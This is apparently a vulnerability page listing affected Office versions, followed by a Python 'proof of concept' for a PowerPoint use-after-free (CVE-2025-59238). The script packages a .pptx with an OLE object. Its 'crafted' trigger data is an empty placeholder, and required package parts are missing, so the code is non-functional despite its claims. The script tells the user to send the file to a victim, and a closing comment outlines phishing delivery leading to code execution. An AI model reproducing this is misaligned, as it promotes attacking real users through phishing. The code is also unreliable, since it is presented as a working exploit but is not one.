Microsoft Office LTSC Professional Plus 2021（需确认具体补丁范围）
Microsoft 365 Apps for Enterprise（需确认具体补丁范围）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59238 PoC - Conceptual Exploit for PowerPoint Use After Free
# NOTE: This is a conceptual/educational PoC. Actual exploit code requires
# deep reverse engineering of the vulnerable PowerPoint component.
#
# Vulnerability: Use After Free in Microsoft Office PowerPoint
# CVSS: 7.8 (HIGH)
# Attack Vector: Local, requires user interaction
#
# The exploit typically involves crafting a malicious .pptx file that triggers
# a use-after-free condition when PowerPoint parses specific embedded objects.
import struct
import zipfile
import os
import shutil
def create_malicious_pptx(output_path):
"""
Create a malicious PowerPoint file that may trigger CVE-2025-59238.
This is a conceptual implementation demonstrating the attack vector.
"""
# Create a minimal PPTX structure with a crafted embedded object
# PPTX files are essentially ZIP archives containing XML files
tmp_dir = "/tmp/malicious_pptx"
if os.path.exists(tmp_dir):
shutil.rmtree(tmp_dir)
os.makedirs(tmp_dir)
# Content_Types.xml - minimal valid content types
content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"/>
<Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/>
</Types>'''
# Crafted slide with embedded OLE object designed to trigger UAF
slide_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<p:nvGrpSpPr>
<p:cNvPr id="1" name=""/>
<p:cNvGrpSpPr/>
<p:nvPr/>
</p:nvGrpSpPr>
<p:grpSpPr/>
<p:graphicFrame>
<p:nvGraphicFramePr>
<p:cNvPr id="2" name="OLE Object"/>
<p:cNvGraphicFramePr/>
<p:nvPr/>
</p:nvGraphicFramePr>
<p:xfrm>
<a:off x="0" y="0"/>
<a:ext cx="9144000" cy="6858000"/>
</p:xfrm>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole">
<p:oleObj spid="_x0000_s1026" name="ShockwaveFlash.ShockwaveFlash">
<!-- Crafted OLE data to trigger use-after-free -->
<p:objectPr/>
</p:oleObj>
</a:graphicData>
</a:graphic>
</p:graphicFrame>
</p:spTree>
</p:cSld>
</p:sld>'''
# Write files
os.makedirs(os.path.join(tmp_dir, "_rels"))
os.makedirs(os.path.join(tmp_dir, "ppt", "slides"))
os.makedirs(os.path.join(tmp_dir, "ppt", "_rels"))
with open(os.path.join(tmp_dir, "[Content_Types].xml"), "w") as f:
f.write(content_types)
with open(os.path.join(tmp_dir, "ppt", "slides", "slide1.xml"), "w") as f:
f.write(slide_xml)
# Package as PPTX (ZIP)
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(tmp_dir):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, tmp_dir)
zf.write(file_path, arcname)
print(f"[*] Malicious PPTX created: {output_path}")
print(f"[*] Send this file to the victim and wait for them to open it.")
if __name__ == "__main__":
create_malicious_pptx("CVE-2025-59238_poc.pptx")
# --- Attack Flow ---
# 1. Attacker crafts malicious .pptx file (as shown above)
# 2. Attacker sends file via phishing email or other social engineering
# 3. Victim opens the file in Microsoft PowerPoint
# 4. PowerPoint parses the embedded OLE object, triggering UAF
# 5. Attacker code executes in the context of the PowerPoint process
# 6. Attacker gains code execution on victim's machine